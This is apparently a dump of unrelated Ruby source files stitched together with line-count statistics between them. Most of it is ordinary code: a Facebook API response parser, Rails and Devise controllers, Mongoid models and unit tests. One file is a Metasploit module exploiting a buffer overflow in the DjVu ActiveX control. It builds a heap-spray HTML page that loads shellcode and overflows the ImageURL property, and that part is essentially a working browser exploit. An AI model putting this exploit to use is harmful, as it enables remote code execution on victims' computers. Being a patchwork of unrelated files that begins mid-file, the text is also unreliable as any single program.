array_of_hashes(element('pages_getInfo_response', data), 'page') end end class PagesIsFan < Parser#:nodoc: def self.process(data) element('pages_isFan_response', data).content.strip == '1' end end class PublishStoryToUser < Parser#:nodoc: def self.process(data) element('feed_publishStoryToUser_response', data).content.strip end end class StreamPublish < Parser#:nodoc: def self.process(data) element('stream_publish_response', data).content.strip end end class StreamAddComment < Parser#:nodoc: def self.process(data) element('stream_addComment_response', data).content.strip end end class RegisterTemplateBundle < Parser#:nodoc: def self.process(data) element('feed_registerTemplateBundle_response', data).content.to_i end end class GetRegisteredTemplateBundles < Parser def self.process(data) array_of_hashes(element('feed_getRegisteredTemplateBundles_response',data), 'template_bundle') end end class DeactivateTemplateBundleByID < Parser#:nodoc: def self.process(data) element('feed_deactivateTemplateBundleByID_response', data).content.strip == '1' end end class PublishUserAction < Parser#:nodoc: def self.process(data) element('feed_publishUserAction_response', data).children[1].content.strip == "1" end end class PublishActionOfUser < Parser#:nodoc: def self.process(data) element('feed_publishActionOfUser_response', data).content.strip end end class PublishTemplatizedAction < Parser#:nodoc: def self.process(data) element('feed_publishTemplatizedAction_response', data).children[1].content.strip end end class SetAppProperties < Parser#:nodoc: def self.process(data) element('admin_setAppProperties_response', data).content.strip end end class GetAppProperties < Parser#:nodoc: def self.process(data) element('admin_getAppProperties_response', data).content.strip end end class SetRestrictionInfo < Parser#:nodoc: def self.process(data) element('admin_setRestrictionInfo_response', data).content.strip end end class GetRestrictionInfo < Parser#:nodoc: def self.process(data) element('admin_getRestrictionInfo_response', data).content.strip end end class GetAllocation < Parser#:nodoc: def self.process(data) element('admin_getAllocation_response', data).content.strip end end class GetPublicInfo < Parser#:nodoc: def self.process(data) hashinate(element('application_getPublicInfo_response', data)) end end class BatchRun < Parser #:nodoc: class << self def current_batch=(current_batch) Thread.current[:facebooker_current_batch]=current_batch end def current_batch Thread.current[:facebooker_current_batch] end end def self.process(data) array_of_text_values(element('batch_run_response',data),"batch_run_response_elt").each_with_index do |response,i| batch_request=current_batch[i] body=Struct.new(:body).new body.body=response begin batch_request.result=Parser.parse(batch_request.method,body) rescue Exception=>ex batch_request.exception_raised=ex end end end end class GetAppUsers < Parser#:nodoc: def self.process(data) array_of_text_values(element('friends_getAppUsers_response', data), 'uid') end end class NotificationsGet < Parser#:nodoc: def self.process(data) hashinate(element('notifications_get_response', data)) end end class NotificationsSend < Parser#:nodoc: def self.process(data) element('notifications_send_response', data).content.strip end end class NotificationsSendEmail < Parser#:nodoc: def self.process(data) element('notifications_sendEmail_response', data).content.strip end end class GetTags < Parser#nodoc: def self.process(data) array_of_hashes(element('photos_getTags_response', data), 'photo_tag') end end class AddTags < Parser#nodoc: def self.process(data) element('photos_addTag_response', data) end end class GetPhotos < Parser#nodoc: def self.process(data) array_of_hashes(element('photos_get_response', data), 'photo') end end class GetAlbums < Parser#nodoc: def self.process(data) array_of_hashes(element('photos_getAlbums_response', data), 'album') end end class CreateAlbum < Parser#:nodoc: def self.process(data) hashinate(element('photos_createAlbum_response', data)) end end class UploadPhoto < Parser#:nodoc: def self.process(data) hashinate(element('photos_upload_response', data)) end end class UploadVideo < Parser#:nodoc: def self.process(data) hashinate(element('video_upload_response', data)) end end class SendRequest < Parser#:nodoc: def self.process(data) element('notifications_sendRequest_response', data).content.strip end end class ProfileFBML < Parser#:nodoc: def self.process(data) element('profile_getFBML_response', data).content.strip end end class ProfileFBMLSet < Parser#:nodoc: def self.process(data) element('profile_setFBML_response', data).content.strip end end class ProfileInfo < Parser#:nodoc: def self.process(data) hashinate(element('profile_getInfo_response info_fields', data)) end end class ProfileInfoSet < Parser#:nodoc: def self.process(data) element('profile_setInfo_response', data).content.strip end end class FqlQuery < Parser#nodoc def self.process(data) root = element('fql_query_response', data) first_child = root.children.reject{|c| c.text? }.first first_child.nil? ? [] : [first_child.name, array_of_hashes(root, first_child.name)] end end class FqlMultiquery < Parser#nodoc def self.process(data) root = element('fql_multiquery_response', data) root.children.reject { |child| child.text? }.map do |elm| elm.children.reject { |child| child.text? }.map do |query| if 'name' == query.name query.text else list = query.children.reject { |child| child.text? } if list.length == 0 [] else [list.first.name, array_of_hashes(query, list.first.name)] end end end end end end class SetRefHandle < Parser#:nodoc: def self.process(data) element('fbml_setRefHandle_response', data).content.strip end end class RefreshRefURL < Parser#:nodoc: def self.process(data) element('fbml_refreshRefUrl_response', data).content.strip end end class RefreshImgSrc < Parser#:nodoc: def self.process(data) element('fbml_refreshImgSrc_response', data).content.strip end end class SetCookie < Parser#:nodoc: def self.process(data) element('data_setCookie_response', data).content.strip end end class GetCookies < Parser#:nodoc: def self.process(data) array_of_hashes(element('data_getCookie_response', data), 'cookies') end end class EventsRsvp < Parser#:nodoc: def self.process(data) element('events_rsvp_response', data).content.strip end end class EventsCreate < Parser#:nodoc: def self.process(data) element('events_create_response', data).content.strip end end class EventsCancel < Parser#:nodoc: def self.process(data) element('events_cancel_response', data).content.strip end end class EventsGet < Parser#:nodoc: def self.process(data) array_of_hashes(element('events_get_response', data), 'event') end end class GroupGetMembers < Parser#:nodoc: def self.process(data) root = element('groups_getMembers_response', data) result = ['members', 'admins', 'officers', 'not_replied'].map do |position| array_of(root, position) {|element| element}.map do |element| array_of_text_values(element, 'uid').map do |uid| {:position => position}.merge(:uid => uid) end end end.flatten end end class EventMembersGet < Parser#:nodoc: def self.process(data) root = element('events_getMembers_response', data) result = ['attending', 'declined', 'unsure', 'not_replied'].map do |rsvp_status| array_of(root, rsvp_status) {|element| element}.map do |element| array_of_text_values(element, 'uid').map do |uid| {:rsvp_status => rsvp_status}.merge(:uid => uid) end end end.flatten end end class GroupsGet < Parser#:nodoc: def self.process(data) array_of_hashes(element('groups_get_response', data), 'group') end end class AreFriends < Parser#:nodoc: def self.process(data) array_of_hashes(element('friends_areFriends_response', data), 'friend_info').inject({}) do |memo, hash| memo[[Integer(hash['uid1']), Integer(hash['uid2'])].sort] = are_friends?(hash['are_friends']) memo end end private def self.are_friends?(raw_value) if raw_value == '1' true elsif raw_value == '0' false else nil end end end class SetStatus < Parser def self.process(data) element('users_setStatus_response',data).content.strip == '1' end end class GetStatus < Parser # :nodoc: def self.process(data) array_of_hashes(element('status_get_response',data),'user_status') end end class GetPreference < Parser#:nodoc: def self.process(data) element('data_getUserPreference_response', data).content.strip end end class SetPreference < Parser#:nodoc: def self.process(data) element('data_setUserPreference_response', data).content.strip end end class UserHasPermission < Parser def self.process(data) element('users_hasAppPermission_response', data).content.strip end end class SmsSend < Parser#:nodoc: def self.process(data) element('sms_send_response', data).content.strip == '0' end end class SmsCanSend < Parser#:nodoc: def self.process(data) element('sms_canSend_response', data).content.strip end end class Errors < Parser#:nodoc: EXCEPTIONS = { 1 => Facebooker::Session::UnknownError, 2 => Facebooker::Session::ServiceUnavailable, 4 => Facebooker::Session::MaxRequestsDepleted, 5 => Facebooker::Session::HostNotAllowed, 100 => Facebooker::Session::MissingOrInvalidParameter, 101 => Facebooker::Session::InvalidAPIKey, 102 => Facebooker::Session::SessionExpired, 103 => Facebooker::Session::CallOutOfOrder, 104 => Facebooker::Session::IncorrectSignature, 120 => Facebooker::Session::InvalidAlbumId, 200 => Facebooker::Session::PermissionError, 250 => Facebooker::Session::ExtendedPermissionRequired, 321 => Facebooker::Session::AlbumIsFull, 324 => Facebooker::Session::MissingOrInvalidImageFile, 325 => Facebooker::Session::TooManyUnapprovedPhotosPending, 330 => Facebooker::Session::TemplateDataMissingRequiredTokens, 340 => Facebooker::Session::TooManyUserCalls, 341 => Facebooker::Session::TooManyUserActionCalls, 342 => Facebooker::Session::InvalidFeedTitleLink, 343 => Facebooker::Session::InvalidFeedTitleLength, 344 => Facebooker::Session::InvalidFeedTitleName, 345 => Facebooker::Session::BlankFeedTitle, 346 => Facebooker::Session::FeedBodyLengthTooLong, 347 => Facebooker::Session::InvalidFeedPhotoSource, 348 => Facebooker::Session::InvalidFeedPhotoLink, 330 => Facebooker::Session::FeedMarkupInvalid, 360 => Facebooker::Session::FeedTitleDataInvalid, 361 => Facebooker::Session::FeedTitleTemplateInvalid, 362 => Facebooker::Session::FeedBodyDataInvalid, 363 => Facebooker::Session::FeedBodyTemplateInvalid, 364 => Facebooker::Session::FeedPhotosNotRetrieved, 366 => Facebooker::Session::FeedTargetIdsInvalid, 601 => Facebooker::Session::FQLParseError, 602 => Facebooker::Session::FQLFieldDoesNotExist, 603 => Facebooker::Session::FQLTableDoesNotExist, 604 => Facebooker::Session::FQLStatementNotIndexable, 605 => Facebooker::Session::FQLFunctionDoesNotExist, 606 => Facebooker::Session::FQLWrongNumberArgumentsPassedToFunction, 807 => Facebooker::Session::TemplateBundleInvalid } def self.process(data) response_element = element('error_response', data) rescue nil if response_element hash = hashinate(response_element) exception = EXCEPTIONS[Integer(hash['error_code'])] || StandardError raise exception, hash['error_msg'] end end end class Parser PARSERS = { 'facebook.auth.revokeAuthorization' => RevokeAuthorization, 'facebook.auth.createToken' => CreateToken, 'facebook.auth.getSession' => GetSession, 'facebook.connect.registerUsers' => RegisterUsers, 'facebook.connect.unregisterUsers' => UnregisterUsers, 'facebook.connect.getUnconnectedFriendsCount' => GetUnconnectedFriendsCount, 'facebook.users.getInfo' => UserInfo, 'facebook.users.getStandardInfo' => UserStandardInfo, 'facebook.users.setStatus' => SetStatus, 'facebook.status.get' => GetStatus, 'facebook.users.getLoggedInUser' => GetLoggedInUser, 'facebook.users.hasAppPermission' => UserHasPermission, 'facebook.pages.isAdmin' => PagesIsAdmin, 'facebook.pages.getInfo' => PagesGetInfo, 'facebook.pages.isFan' => PagesIsFan, 'facebook.friends.get' => GetFriends, 'facebook.friends.getLists' => FriendListsGet, 'facebook.friends.areFriends' => AreFriends, 'facebook.friends.getAppUsers' => GetAppUsers, 'facebook.feed.publishStoryToUser' => PublishStoryToUser, 'facebook.feed.publishActionOfUser' => PublishActionOfUser, 'facebook.feed.publishTemplatizedAction' => PublishTemplatizedAction, 'facebook.feed.registerTemplateBundle' => RegisterTemplateBundle, 'facebook.feed.deactivateTemplateBundleByID' => DeactivateTemplateBundleByID, 'facebook.feed.getRegisteredTemplateBundles' => GetRegisteredTemplateBundles, 'facebook.feed.publishUserAction' => PublishUserAction, 'facebook.notifications.get' => NotificationsGet, 'facebook.notifications.send' => NotificationsSend, 'facebook.notifications.sendRequest' => SendRequest, 'facebook.profile.getFBML' => ProfileFBML, 'facebook.profile.setFBML' => ProfileFBMLSet, 'facebook.profile.getInfo' => ProfileInfo, 'facebook.profile.setInfo' => ProfileInfoSet, 'facebook.fbml.setRefHandle' => SetRefHandle, 'facebook.fbml.refreshRefUrl' => RefreshRefURL, 'facebook.fbml.refreshImgSrc' => RefreshImgSrc, 'facebook.data.setCookie' => SetCookie, 'facebook.data.getCookies' => GetCookies, 'facebook.admin.setAppProperties' => SetAppProperties, 'facebook.admin.getAppProperties' => GetAppProperties, 'facebook.admin.setRestrictionInfo' => SetRestrictionInfo, 'facebook.admin.getRestrictionInfo' => GetRestrictionInfo, 'facebook.admin.getAllocation' => GetAllocation, 'facebook.application.getPublicInfo' => GetPublicInfo, 'facebook.batch.run' => BatchRun, 'facebook.fql.query' => FqlQuery, 'facebook.fql.multiquery' => FqlMultiquery, 'facebook.photos.get' => GetPhotos, 'facebook.photos.getAlbums' => GetAlbums, 'facebook.photos.createAlbum' => CreateAlbum, 'facebook.photos.getTags' => GetTags, 'facebook.photos.addTag' => AddTags, 'facebook.photos.upload' => UploadPhoto, 'facebook.stream.publish' => StreamPublish, 'facebook.stream.addComment' => StreamAddComment, 'facebook.events.create' => EventsCreate, 'facebook.events.cancel' => EventsCancel, 'facebook.events.get' => EventsGet, 'facebook.events.rsvp' => EventsRsvp, 'facebook.groups.get' => GroupsGet, 'facebook.events.getMembers' => EventMembersGet, 'facebook.groups.getMembers' => GroupGetMembers, 'facebook.notifications.sendEmail' => NotificationsSendEmail, 'facebook.data.getUserPreference' => GetPreference, 'facebook.data.setUserPreference' => SetPreference, 'facebook.video.upload' => UploadVideo, 'facebook.sms.send' => SmsSend, 'facebook.sms.canSend' => SmsCanSend } end end
30.520891
127
0.677466
6abdd92f09d59d47b1e5bf635d2b8f6ae103dcc0
93
class AjaxController < CrudController respond_to :html, :json, :js def ajax end end
10.333333
37
0.709677
38be7f7c4ceba40f4fe789b87799acfa2af9c187
1,765
module Users class PasswordsController < Devise::PasswordsController # Intercept the creation of the reset token given an email address, and check this # value as otherwise Devise will not error if the email address is left blank. # This will not error on malformed email addresses as we are in Paranoid mode and Devise # will consider any input as valid, but at least we cover the blank scenario. # Throttle the emails sent to one per three seconds per account to avoid email flooding. def create email = params[:user][:email] unless email.empty? user = User.find_by(email: email) if (Time.zone.now.to_f - user&.reset_password_sent_at.to_f) < 3 redirect_to users_password_reset_sent_path and return end end super do |user2| if user2.errors.added?(:email, :blank) respond_with(user2) and return end end end # Intercept the errors and if there is any on the reset_password_token field, redirect back # to the reset password page. Otherwise, Devise will not show the error in the edit page, # because it belongs to a hidden field. def update super do |user| if user.errors.include?(:reset_password_token) redirect_to new_user_password_path, alert: invalid_token_error and return end end end def reset_confirmation end def reset_sent end private def invalid_token_error I18n.translate!(:invalid_token, scope: 'devise.passwords') end def after_resetting_password_path_for(_) users_password_reset_confirmation_path end def after_sending_reset_password_instructions_path_for(_) users_password_reset_sent_path end end end
31.517857
95
0.700283
f896949ff17ae9a1694e08e55b653a446d529ce3
1,037
class UserOrganisationClaimer def initialize(listener, user, current_user) @listener = listener @user = user @current_user = current_user end def call(organisation_id) request_admin_status_if(organisation_id) error_message_if_not_superadmin_or_not(organisation_id) promote_user_if_superadmin_and_not(organisation_id) end private attr_reader :listener, :user, :current_user def is_current_user_superadmin? current_user.superadmin? end def request_admin_status_if(organisation_id) if organisation_id user.request_admin_status organisation_id listener.update_message_for_admin_status end end def error_message_if_not_superadmin_or_not(organisation_id) if !is_current_user_superadmin? && !organisation_id listener.update_failure end end def promote_user_if_superadmin_and_not(organisation_id) if is_current_user_superadmin? && !organisation_id user.promote_to_org_admin listener.update_message_promoting(user) end end end
24.690476
61
0.781099
f828e8318e6fc7cb72e80080157d53e86ddad8b4
543
module Iterm2 module Viewer # Render new object in terminal # @param object [Iterm2::Viewer::Entity] class Render def initialize(object) fail ArgumentError, 'incorrect media file' unless object.is_a? Iterm2::Viewer::Media @data ||= object end # Display media file def reveal # @see http://iterm2.com/images.html # @note https://raw.githubusercontent.com/gnachman/iTerm2/master/tests/imgcat puts "\033]1337;File=;inline=1:#{@data}\a\n" end end end end
27.15
92
0.631676
265656217a09a440c204d270f9b2cfc9ab3399c5
152
require "gramophone/version" module Gramophone # Your code goes here... class Clazz def self.run puts "Hello from gem" end end end
13.818182
28
0.664474
d52dbf4e1b7e21787017744b8d5d09e7e51e19cb
1,798
# frozen_string_literal: true require 'test_helper' class Minitest::Heat::TimerTest < Minitest::Test def setup @timer = ::Minitest::Heat::Timer.new end def test_starting_timer assert_nil @timer.start_time @timer.start! refute_nil @timer.start_time end def test_stopping_timer assert_nil @timer.stop_time @timer.stop! refute_nil @timer.stop_time end def test_total_time # For fixing the timing to be exactly 10 seconds fixed_start_time = 1_000_000.012345 fixed_stop_time = 1_000_010.012345 fixed_delta = fixed_stop_time - fixed_start_time @timer.stub(:start_time, fixed_start_time) do @timer.stub(:stop_time, fixed_stop_time) do assert_equal fixed_delta, @timer.total_time end end end def test_updating_counts assert_equal 0, @timer.test_count assert_equal 0, @timer.assertion_count @timer.increment_counts(3) assert_equal 1, @timer.test_count assert_equal 3, @timer.assertion_count end def test_tests_per_second assertion_count = 1 @timer.start! @timer.increment_counts(assertion_count) @timer.stop! # 1 assertion and 1 test, so the rates should be equal assert_equal @timer.tests_per_second, @timer.assertions_per_second expected_rate = (1 / @timer.total_time).round(2) assert_equal expected_rate, @timer.tests_per_second end def test_assertions_per_second assertion_count = 3 @timer.start! @timer.increment_counts(assertion_count) @timer.stop! # 3 assertions but 1 test, so the rates should be different refute_equal @timer.tests_per_second, @timer.assertions_per_second expected_rate = (assertion_count / @timer.total_time).round(2) assert_equal expected_rate, @timer.assertions_per_second end end
26.057971
70
0.735261
abddad3c23f166150ace2a611dce12b7aa5a2158
365
class User include Mongoid::Document field :name, :type => String field :email, :type => String field :nickname, :type => String field :location, :type => Array has_one :post has_many :comments, :inverse_of => :user has_many :moderated_comments, :class_name => "Comment", :inverse_of => :moderator has_many :articles, :inverse_of => :author end
26.071429
83
0.693151
38100c74bdb7e386c44a186c06612423ae212667
314
When /^I choose to reply a comment$/ do within "#comments li:first-child" do page.click_link "Reply" end end When /^I send the reply$/ do @message = "This is a reply" send_comment(@message) end Then /^I should see my reply$/ do within '.replies' do page.should have_content(@message) end end
18.470588
39
0.681529
ed657b16ea9de6bfe52be79cc37b9bb66ae317b2
798
class ApplicationPolicy attr_reader :user, :record def initialize(user, record) @user = user @record = record end def index? false end def show? false end def create? @user != nil && @user.has_role?(:editor) end def new? create? end def update? @user != nil && @user.has_role?(:editor) end def edit? update? end # def edit_name? # @user != nil && @user.has_role?(:admin) # only an admin may change the name of something because these are used to create the friendly URLs # end def destroy? @user != nil && @user.has_role?(:admin) end class Scope attr_reader :user, :scope def initialize(user, scope) @user = user @scope = scope end def resolve scope.all end end end
14.777778
145
0.602757
1a4afb7f65fe357b72baf86ece16b6761fa98693
3,392
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in DjVu ActiveX Component. When sending an overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0) an attacker may be able to execute arbitrary code. This control is not marked safe for scripting, so choose your attack vector accordingly. }, 'License' => MSF_LICENSE, 'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ], 'References' => [ [ 'CVE', '2008-4922' ], [ 'OSVDB', '49592' ], [ 'BID', '31987' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] ], 'DisclosureDate' => 'Oct 30 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. ret = Rex::Text.uri_encode([target.ret].pack('L')) # Randomize the javascript variable names. vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) content = %Q| <html> <object id='#{vname}' classid='clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C'></object> <script language="JavaScript"> var #{rand1} = unescape('#{shellcode}'); var #{rand2} = unescape('#{nops}'); var #{rand3} = 20; var #{rand4} = #{rand3} + #{rand1}.length; while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2}; var #{rand5} = #{rand2}.substring(0,#{rand4}); var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4}); while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5}; var #{rand7} = new Array(); for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} } var #{rand8} = ""; for (#{var_i} = 0; #{var_i} < 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') } #{vname}.ImageURL = #{rand8}; </script> </html> | content = Rex::Text.randomize_space(content) print_status("Creating HTML file ...") file_create(content) end end
32.304762
99
0.576061
913abee2e25972039bd7cfdd4ed7b605a0a5c5a5
378
require 'pad_utils' require_relative '../template/test' # Test name test_name = "EncryptionEncryptCli" class EncryptionEncryptCliTest < Test def prepare # Add test preparation here end def run_test PadUtils.puts_c "Should display encrypted hello:", :blue PadUtils.main ["-e", "hello", "dev_key"] end def cleanup # Add cleanup code here end end
16.434783
60
0.706349
e940f95a7cfbec65f3a1026aa38dc5df68f155e3
1,190
def whyrun_supported? true end def load_current_resource @mime_mapping = OO::IIS.new.mime_mapping(new_resource.site_name) @current_mime_types = @mime_mapping.mime_types @web_site = OO::IIS.new.web_site(new_resource.site_name) @new_mime_type = {'file_extension' => "#{new_resource.file_extension}", 'mime_type' => "#{new_resource.mime_type}"} end def resource_needs_change? !(Array.new([@new_mime_type]) - @current_mime_types).empty? end private :resource_needs_change? def iis_available? OO::IIS::Detection.aspnet_enabled? and OO::IIS::Detection.major_version >= 7 end private :iis_available? def define_resource_requirements requirements.assert(:configure) do |a| a.assertion { iis_available? } a.failure_message("IIS 7 or a later version needs to be installed / enabled") a.whyrun("Would enable IIS 7") end end action :add do updated = false if @web_site.exists? if resource_needs_change? converge_by("add mime types for website #{new_resource.site_name}") do puts @new_mime_type @mime_mapping.add_mime_type(@new_mime_type) updated = true end end end new_resource.updated_by_last_action(updated) end
27.674419
117
0.739496
912d03e9f7a5e18733518ec2893a23a28a4d3e7b
3,563
# encoding: utf-8 require 'uuidtools' require_relative '../../../spec_helper' require_relative '../../../../app/controllers/carto/api/user_creations_controller' describe Carto::Api::UserCreationsController do include_context 'organization with users helper' describe 'show' do it 'returns 404 for unknown user creations' do get_json api_v1_user_creations_show_url(id: UUIDTools::UUID.timestamp_create.to_s), @headers do |response| response.status.should == 404 end end it 'returns user creation data' do ::User.any_instance.stubs(:create_in_central).returns(true) CartoDB::UserModule::DBService.any_instance.stubs(:enable_remote_db_user).returns(true) user_data = FactoryGirl.build(:valid_user) user_data.organization = @organization user_data.google_sign_in = false user_creation = Carto::UserCreation.new_user_signup(user_data) user_creation.next_creation_step until user_creation.finished? get_json api_v1_user_creations_show_url(id: user_creation.id), @headers do |response| response.status.should == 200 response.body[:id].should == user_creation.id response.body[:username].should == user_creation.username response.body[:email].should == user_creation.email response.body[:organization_id].should == user_creation.organization_id response.body[:google_sign_in].should == user_creation.google_sign_in response.body[:requires_validation_email].should == user_creation.requires_validation_email? response.body[:state].should == user_creation.state end end it 'triggers user_creation authentication for google users' do ::User.any_instance.stubs(:create_in_central).returns(true) CartoDB::UserModule::DBService.any_instance.stubs(:enable_remote_db_user).returns(true) user_data = FactoryGirl.build(:valid_user) user_data.organization = @organization user_data.google_sign_in = true Carto::Api::UserCreationsController.any_instance.expects(:authenticate!) .with(:user_creation, scope: user_data.username).once user_creation = Carto::UserCreation.new_user_signup(user_data) user_creation.next_creation_step until user_creation.finished? get_json api_v1_user_creations_show_url(id: user_creation.id), @headers do |response| response.body[:state].should == 'success' response.body[:google_sign_in].should == user_creation.google_sign_in response.body[:enable_account_token].should be_nil end end it 'does not trigger user_creation authentication for normal users' do ::User.any_instance.stubs(:create_in_central).returns(true) CartoDB::UserModule::DBService.any_instance.stubs(:enable_remote_db_user).returns(true) user_data = FactoryGirl.build(:valid_user) user_data.organization = @organization user_data.google_sign_in = false Carto::Api::UserCreationsController.any_instance.expects(:authenticate!).with(:user_creation, scope: user_data.organization.name).never user_creation = Carto::UserCreation.new_user_signup(user_data) user_creation.next_creation_step until user_creation.finished? get_json api_v1_user_creations_show_url(id: user_creation.id), @headers do |response| response.body[:state].should == 'success' response.body[:google_sign_in].should == user_creation.google_sign_in response.body[:requires_validation_email].should == true end end end end
43.987654
141
0.734774
7a8faa181fe209e69e5c529c883bfed715fabd31
217
class BroadcastPostsChannelWorker include Sidekiq::Worker def perform(post_id) @post = Post.find(post_id) serialized_post = @post.serialize PostsChannel.broadcast_to(@post, serialized_post) end end
21.7
53
0.760369
39949dbbc1e8813bcb56b87af276f57847b0e24d
387
class CreateRelationships < ActiveRecord::Migration[5.1] def change create_table :relationships do |t| t.string :follower_id t.string :integer t.integer :followed_id t.timestamps end add_index :relationships, :follower_id add_index :relationships, :followed_id add_index :relationships, [:follower_id, :followed_id], unique: true end end
25.8
72
0.710594
185d62890d02c943e29a804e8309c218b5732196
669
class Ability include CanCan::Ability def initialize(user) user ||= User.new # guest user if user.role? Role::ROLES[:premium][:name] can :manage, :all elsif user.role? Role::ROLES[:business][:name] can :manage, [Product, Asset, Issue] elsif user.role? Role::ROLES[:basic][:name] can :read, [Product, Asset] # manage products, assets he owns can :manage, Product do |product| product.try(:owner) == user end can :manage, Asset do |asset| asset.assetable.try(:owner) == user end end end end
29.086957
54
0.527653
7ac95eaa1e5d64a13135963c1ffe4d9015a787b3
462
module Ebay # :nodoc: module Requests # :nodoc: # == Attributes # text_node :item_id, 'ItemID', :optional => true # text_node :post_id, 'PostID', :optional => true class RespondToWantItNowPost < Abstract include XML::Mapping include Initializer root_element_name 'RespondToWantItNowPostRequest' text_node :item_id, 'ItemID', :optional => true text_node :post_id, 'PostID', :optional => true end end end
25.666667
55
0.660173
08fea0a5b3a7808f1a3325c3592e6a544902d3d9
2,436
class Api::ProjectsController < ApplicationController prepend_before_action :set_parent, only: [:create, :index] prepend_before_action :authorize_teacher, :authorize_super_user, only: [:destroy, :update, :create] prepend_before_action :authenticate before_action :hide_unpublished, only: [:index] before_action :hide_unpublished_single, only: [:show] private # Prevent students from viewing unpublsihed projects # Or any projects belonging to an unpublished course def hide_unpublished_single unless @project.viewable_by_user? @current_user raise ForbiddenError, error_messages[:forbidden_teacher_only] end end # Prevent students from viewing unpublsihed projects # Or any projects belonging to an unpublished course def hide_unpublished if @current_user.student? raise ForbiddenError if [email protected]? params[:published] = true params[:registered] = true end end def set_parent @course ||= Course.cache_fetch(id: params[:course_id]) { Course.find params[:course_id] } end def query_params params.permit(:name, :published, :registered) end def project_params @permitted_params ||= params_helper end def params_helper attributes = model_attributes attributes.delete :id attributes.delete :course_id attributes.delete :reruning_submissions unless @current_user.super_user? permitted = params.permit attributes permitted[:course] = @course unless @course.nil? permitted end def apply_query(base, query_params) if query_params[:name].present? base = base.where("name ILIKE ?", "%#{query_params[:name]}%") end if query_params[:published].present? base = base.where(published: query_params[:published]) end if query_params[:registered].present? base = base.joins('INNER JOIN student_course_registrations ON student_course_registrations.course_id = projects.course_id').where(courses: {student_course_registrations: {student_id: @current_user.id}}) end base end def order_args if query_params[:name].present? "length(projects.name) ASC" else { created_at: :desc } end end def base_index_query base = Project.where(course: @course) base = params[:due].to_s == 'true' ? base.due : base.not_due unless params[:due].nil? base = base.started if params[:started] return base end end
30.45
208
0.71757
f7d2459dead49d48d51841d7c790d2c9c1e0dd2f
762
# Copyright by Shlomi Fish, 2018 under the Expat licence # https://opensource.org/licenses/mit-license.php Cache = { 1 => 0 } def num_distinct_factors_helper(n, start_from) if not Cache.has_key?(n) then to_add = 0 d = n if ((d % start_from) == 0) then while d % start_from == 0 do d /= start_from end to_add = 1 end Cache[n] = to_add + num_distinct_factors_helper(d, start_from+1) end return Cache[n]; end def num_distinct_factors(n) return num_distinct_factors_helper(n,2) end for n in 14 .. 100_000 do puts "NNN === #{n}" if not (n .. n+3).detect { |i| num_distinct_factors(i) != 4} then print "n = #{n}\n" exit end end
23.8125
72
0.576115
e80f32637940689ad431f92196180e50af45837d
833
module Gitlab module Ci module Status module Build class Play < Status::Extended def label 'manual play action' end def has_action? can?(user, :update_build, subject) end def action_icon 'icon_action_play' end def action_title 'Play' end def action_path play_namespace_project_job_path(subject.project.namespace, subject.project, subject) end def action_method :post end def self.matches?(build, user) build.playable? && !build.stops_environment? end end end end end end
20.825
70
0.457383
d5f12ff190ec0f0e07c308260ec3a4978e17c84c
2,870
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::Network::Mgmt::V2020_08_01 module Models # # Result of the request to list VirtualHubs. It contains a list of # VirtualHubs and a URL nextLink to get the next set of results. # class ListVirtualHubsResult include MsRestAzure include MsRest::JSONable # @return [Array<VirtualHub>] List of VirtualHubs. attr_accessor :value # @return [String] URL to get the next set of operation list results if # there are any. attr_accessor :next_link # return [Proc] with next page method call. attr_accessor :next_method # # Gets the rest of the items for the request, enabling auto-pagination. # # @return [Array<VirtualHub>] operation results. # def get_all_items items = @value page = self while page.next_link != nil && !page.next_link.strip.empty? do page = page.get_next_page items.concat(page.value) end items end # # Gets the next page of results. # # @return [ListVirtualHubsResult] with next page content. # def get_next_page response = @next_method.call(@next_link).value! unless @next_method.nil? unless response.nil? @next_link = response.body.next_link @value = response.body.value self end end # # Mapper for ListVirtualHubsResult class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'ListVirtualHubsResult', type: { name: 'Composite', class_name: 'ListVirtualHubsResult', model_properties: { value: { client_side_validation: true, required: false, serialized_name: 'value', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'VirtualHubElementType', type: { name: 'Composite', class_name: 'VirtualHub' } } } }, next_link: { client_side_validation: true, required: false, serialized_name: 'nextLink', type: { name: 'String' } } } } } end end end end
28.415842
80
0.529965
218c78b7e2c1b597e1bd14b37446451e51914fa0
401
